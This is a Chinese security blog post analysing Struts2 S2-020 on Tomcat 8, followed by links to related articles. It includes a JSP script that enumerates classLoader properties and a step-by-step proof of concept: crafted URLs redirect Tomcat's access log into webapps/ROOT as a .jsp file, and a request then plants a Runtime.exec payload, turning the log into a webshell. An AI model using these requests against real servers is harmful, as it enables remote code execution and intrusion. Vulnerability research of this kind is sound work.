漏洞分析:Struts2 S2-020在Tomcat 8下的命令执行分析

标签: 渗透测试 Struts2 安全研究 | 发表时间:2014-04-04 11:14 | 作者:seay
出处:http://www.cnseay.com

Struts S2-020这个通告已经公布有一段时间了。目前大家都知道这个漏洞可以造成DOS、文件下载等危害,相信各大厂商也已经采取了相应的安全措施。今天是和大家分享一下对这个漏洞的一点研究,包括如何在Tomcat 8下导致RCE,目的是抛砖引玉,有不足之处欢迎大家指出。

1.属性列举

这个漏洞分析的一个难点在于:通过ognl的class.xx这种方式来遍历属性时,得到的是实际运行环境中的动态class,因此仅作静态分析是很困难的。例如classLoader,在不同容器中就各不相同。于是我编写了一个小脚本来自动枚举这样的属性:(这段脚本只考虑了int、string与boolean这些基本属性,未考虑数组等复杂的情况,实际情况下结果会更多)

<%@ page language="java" import="java.lang.reflect.*" %>
<%!
public void processClass(Object instance, javax.servlet.jsp.JspWriter out, java.util.HashSet set, String poc){
	try {
	    Class<?> c = instance.getClass();
	    set.add(instance);
	    Method[] allMethods = c.getMethods();
	    for (Method m : allMethods) {
		if (!m.getName().startsWith("set")) {
		    continue;
		}
		if (!m.toGenericString().startsWith("public")) {
		    continue;
		}
		Class<?>[] pType  = m.getParameterTypes();
		if(pType.length!=1) continue;
		
		if(pType[0].getName().equals("java.lang.String")||
		pType[0].getName().equals("boolean")||
		pType[0].getName().equals("int")){
			String fieldName = m.getName().substring(3,4).toLowerCase()+m.getName().substring(4);
			out.print(poc+"."+fieldName + "<br>");
		}
	    }
	    for (Method m : allMethods) {
		if (!m.getName().startsWith("get")) {
		    continue;
		}
		if (!m.toGenericString().startsWith("public")) {
		    continue;
		}		
		Class<?>[] pType  = m.getParameterTypes();
		if(pType.length!=0) continue;
		if(m.getReturnType() == Void.TYPE) continue;
		Object o = m.invoke(instance);
		if(o!=null)
		{
			if(set.contains(o)) continue;
			processClass(o,out, set, poc+"."+m.getName().substring(3,4).toLowerCase()+m.getName().substring(4));	
		} 
	    }
	} catch (java.io.IOException x) {
	    x.printStackTrace();
	} catch (java.lang.IllegalAccessException x) {
	    x.printStackTrace();
	} catch (java.lang.reflect.InvocationTargetException x) {
	    x.printStackTrace();
	} 	
}
%>
<%
java.util.HashSet set = new java.util.HashSet<Object>();
String poc = "class.classLoader";
example.HelloWorld action = new example.HelloWorld();
processClass(action.getClass().getClassLoader(),out,set,poc);
%>

在tomcat 8.0.3下Struts2.3.16的blank app中执行这段jsp,输出结果如下:

(省略部分非相关属性)
class.classLoader.resources.context.parent.pipeline.first.encoding
class.classLoader.resources.context.parent.pipeline.first.directory
class.classLoader.resources.context.parent.pipeline.first.checkExists
class.classLoader.resources.context.parent.pipeline.first.renameOnRotate
class.classLoader.resources.context.parent.pipeline.first.fileDateFormat
class.classLoader.resources.context.parent.pipeline.first.prefix
class.classLoader.resources.context.parent.pipeline.first.rotatable
class.classLoader.resources.context.parent.pipeline.first.buffered
class.classLoader.resources.context.parent.pipeline.first.suffix
class.classLoader.resources.context.parent.pipeline.first.locale
class.classLoader.resources.context.parent.pipeline.first.requestAttributesEnabled
class.classLoader.resources.context.parent.pipeline.first.enabled
class.classLoader.resources.context.parent.pipeline.first.conditionUnless
class.classLoader.resources.context.parent.pipeline.first.conditionIf
class.classLoader.resources.context.parent.pipeline.first.pattern
class.classLoader.resources.context.parent.pipeline.first.condition
class.classLoader.resources.context.parent.pipeline.first.asyncSupported
class.classLoader.resources.context.parent.pipeline.first.domain
class.classLoader.resources.context.parent.pipeline.first.next.asyncSupported
class.classLoader.resources.context.parent.pipeline.first.next.domain
class.classLoader.resources.context.parent.pipeline.first.next.next.asyncSupported
class.classLoader.resources.context.parent.pipeline.first.next.next.domain
......

这意味着Tomcat 8下至少有200多个boolean、int或string类型的属性是可以操纵的,虽然可修改不一定会产生危害,但至少说明这个漏洞的潜在风险不小。

2.POC

经过分析发现,通过下面的方法可以造成webshell的效果,最终导致Tomcat下的RCE。

上面的属性中,有几个控制在tomcat上生成的access log的文件名,其默认值如下:

class.classLoader.resources.context.parent.pipeline.first.directory =logs
class.classLoader.resources.context.parent.pipeline.first.prefix =localhost_access_log
class.classLoader.resources.context.parent.pipeline.first.suffix = .txt
class.classLoader.resources.context.parent.pipeline.first.fileDateFormat =.yyyy-mm-dd

 默认情况下,生成的access log位于 logs目录(与webapps平行)下,文件名是localhost_access_log.2014-03-09.txt,但通过修改上面的属性值,可以导致在webapps目录下写入jspwebshell。具体步骤如下(以struts 2.3.16下的blank app为例):

1.访问下面的url来改变属性:

http://127.0.0.1/struts2-blank/example/HelloWorld.action?class.classLoader.resources.context.parent.pipeline.first.directory=webapps/ROOT

http://127.0.0.1/struts2-blank/example/HelloWorld.action?class.classLoader.resources.context.parent.pipeline.first.prefix=shell

http://127.0.0.1/struts2-blank/example/HelloWorld.action?class.classLoader.resources.context.parent.pipeline.first.suffix=.jsp

2.访问下面的url来触发tomcat切换log(这里有个坑,这个属性必须是数字,这里设定为1),那么从此开始tomcat的access log将被记录入 webapps/ROOT/shell1.jsp中:

http://127.0.0.1/struts2-blank/example/HelloWorld.action?class.classLoader.resources.context.parent.pipeline.first.fileDateFormat=1

3.通过发包访问下面的请求,在access log中植入代码

http://127.0.0.1/struts2-blank/example/aaaa.jsp?a=<%Runtime.getRuntime().exec(“calc”);%>

访问上述请求后,就可以看到生成了webapps/ROOT/shell1.jsp,内容如下:

4.结合前面设定的参数,访问下面的url,观察shell执行 http://127.0.0.1/shell1.jsp

通过分析,上面的POC中class.classLoader.resources.context.parent.pipeline.first这个属性实际是org.apache.catalina.valves.AccessLogValve,在conf/server.xml里面有一段相关的配置:

        <!-- Access log processes allexample.
             Documentation at:/docs/config/valve.html
             Note: The pattern used isequivalent to using pattern="common" -->
        <ValveclassName="org.apache.catalina.valves.AccessLogValve"directory="logs"
              prefix="localhost_access_log" suffix=".txt"
               pattern="%h %l %u %t&quot;%r&quot; %s %b" />

为何修改了dataformat会触发切换日志呢?注意下面一个属性,默认是true

 .class.classLoader.resources.context.parent.pipeline.first.rotatable

每次Log时,都会调用rotate:

publicvoid log(CharArrayWriter message)
  {
rotate();
…

而rotate是检查当前的systime 经过format后,与当前的tsDate是否相同。如果日期不同了,自然需要切换日志文件了:

  public void rotate()
  {
    if (this.rotatable)
    {
      long systime =System.currentTimeMillis();
      if (systime - this.rotationLastChecked> 1000L)
        synchronized (this) {
          if (systime -this.rotationLastChecked > 1000L) {
            this.rotationLastChecked = systime;
 
            String tsDate =this.fileDateFormatter.format(new Date(systime));
 
            if (!this.dateStamp.equals(tsDate)){
              close(true);
              this.dateStamp = tsDate;
              open();
            }
          }
        }
    }
  }

而我们之前已经修改了dateFormat,所以就触发了日志切换。这个特性与具体的OS无关,是tomcat代码决定的。在linux与windows下证实该问题均存在。

3.后记

这个POC距离实际的攻击还有一定的距离,发表此文仅供技术研究使用,请勿用于实际攻击。另外,也许还有其他的利用方式,Tomcat 8下那么多的可操控的属性,或许有别的也可以RCE?其他的容器下,是否也有这么多的可操控属性呢?欢迎感兴趣的同学与我们BSRC的同学讨论。

原文:http://sec.baidu.com/index.php?research/detail/id/18

博主猜你喜欢:

Discuz X2.5最新版爆路径0day漏洞

漏洞播报:apache Struts2远程代码执行漏洞分析(S2-013)

漏洞预警:struts2最新s2-016命令执行漏洞 – CVE-2013-2251

xdcms v2.0.2 注入0day漏洞源码分析

漏洞分析:Struts2(s2-016)远程代码执行漏洞详细代码分析
无觅

相关 [漏洞 分析 struts2] 推荐:

漏洞分析:Struts2 S2-020在Tomcat 8下的命令执行分析

- - Seay's blog 网络安全博客
Struts S2-020这个通告已经公布有一段时间了. 目前大家都知道这个漏洞可以造成DOS、文件下载等危害,相信各大厂商也已经采取了相应的安全措施. 今天是和大家分享一下对这个漏洞的一点研究,包括如何在Tomcat 8下导致RCE,目的是抛砖引玉,有不足之处欢迎大家指出. 这个漏洞分析的一个难点在于:通过ognl的class.xx这种方式来遍历属性时,得到的是实际运行环境中的动态class,因此仅作静态分析是很困难的.

struts2框架XSLTResult本地文件代码执行漏洞

- - IT技术博客大学习
标签:   struts2   XSLTResult. 这是个没有人公布过的漏洞,偶尔看代码发现的. 事实上,这段代码用的人不多,需要同时满足两个情况,才可以搞. 我猜测,发出struts2远程代码执行的那个大牛,不可能没发现这么弱智的漏洞. 所以,要么是有原因不能公布,要么就是卖了,那就好,这次我首发,哈哈哈.

Struts2官方再曝两枚高危漏洞(目前暂无POC)

- - FreeBuf.COM | 关注黑客与极客
Struts2前段时间才爆出了 s2-032的高危漏洞,当时导致全球使用Struts2架构的网站几乎无一幸免于这场安全灾难. 但就在6月1日,这个全球儿童欢乐的节日,Struts官网再次公布了一个安全威胁公告——公告中说明Struts2又曝出了两枚漏洞,编号s2-033和s2-034. 在使用REST插件并开启动态方法调用时,可导致远程代码执行.

Struts2再曝S2-020补丁绕过漏洞 – 万恶的正则表达式

- - FreeBuf.COM
4月24日,网络曝出文章“安全研究人员指出Apache Struts2在漏洞公告S2-020里,在处理修复CVE-2014-0094的漏洞修补方案存在漏洞,导致补丁被完全绕过. Apache Struts 2.0.0-2.3.16版本的默认上传机制是基于Commons FileUpload 1.3版本,其附加的ParametersInterceptor允许访问'class' 参数(该参数直接映射到getClass()方法),并允许控制ClassLoader.

Spring MVC 和 Struts2

- - CSDN博客架构设计推荐文章
Web层面的框架学习了三个Struts1和2,SpringMVC,那他们之间肯定存在一个优劣和适用的环境,Struts1和2的异同点我已经做过对比《 Struts1和Struts2》,这篇将对比下Struts2和SpringMVC的异同,下面数据基本来源于网络,本人是搜集整理所得,供大家参考. 一个项目使用什么样的技术,决定的因素很多,我所能想到的有:对系统的性能、开发的效率、团队学习的成本、业务场景等,下面尽量从这几个方面入手,来分析比较下他们之间存在的优劣.

pentesterlab xss漏洞分析

- - JavaScript - Web前端 - ITeye博客
pentesterlab简介. pentesterlab官方定义自己是一个简单又十分有效学习渗透测试的演练平台. pentesterlab环境搭建. 官方提供了一个基于debian6的镜像,官网下载镜像,使用vmware建立一个虚拟机,启动即可. ps:官方文档建议做一个host绑定,方便后面使用.

struts2的标签tag

- - CSDN博客编程语言推荐文章
二、 常用的Struts 2.0的标志(Tag)介绍. 在上一篇文章《 为Struts 2.0做好准备》中,我过于详细地介绍了Struts 2.0开发环境和运行环境的配置,所以,本文很少涉及的以上两方面的细节. 如果,您看完《 为Struts 2.0做好准备》后,还有什么不明白,或者没法运行文中例子,请联系我.

Struts2常用标签总结

- - CSDN博客推荐文章
1.Struts2的作用 . Struts2标签库提供了主题、模板支持,极大地简化了视图页面的编写,而且,struts2的主题、模板都提供了很好的扩展性. Struts2允许在页面中使用自定义组件,这完全能满足项目中页面显示复杂,多变的需求. Struts2的标签库有一个巨大的改进之处,struts2标签库的标签不依赖于任何表现层技术,也就是说strtus2提供了大部分标签,可以在各种表现技术中使用.

Struts2 标签库讲解

- - CSDN博客架构设计推荐文章
Struts2 标签库讲解. 转自:http://blog.163.com/hzd_love/blog/static/131999881201082111852520/. 要使用Struts2的标签,只需要在JSP页面添加如下一行定义即可:. struts2的标签共分为五大类:. 1)条件标签:用于执行基本的条件流转.

struts1,struts2,springMVC终极对比

- - CSDN博客Web前端推荐文章
         最近做项目用到了struts2,之前一直是用struts1和springMVC. 感觉到了struts2从很大程度上和这两个还是有很大区别的,所以今天搜集了些资料,给他们做一下对比.          Struts1官方已经停止更新,现在用的也比较少,这里主要讲一下struts2和struts1比较都有哪些不同和进步.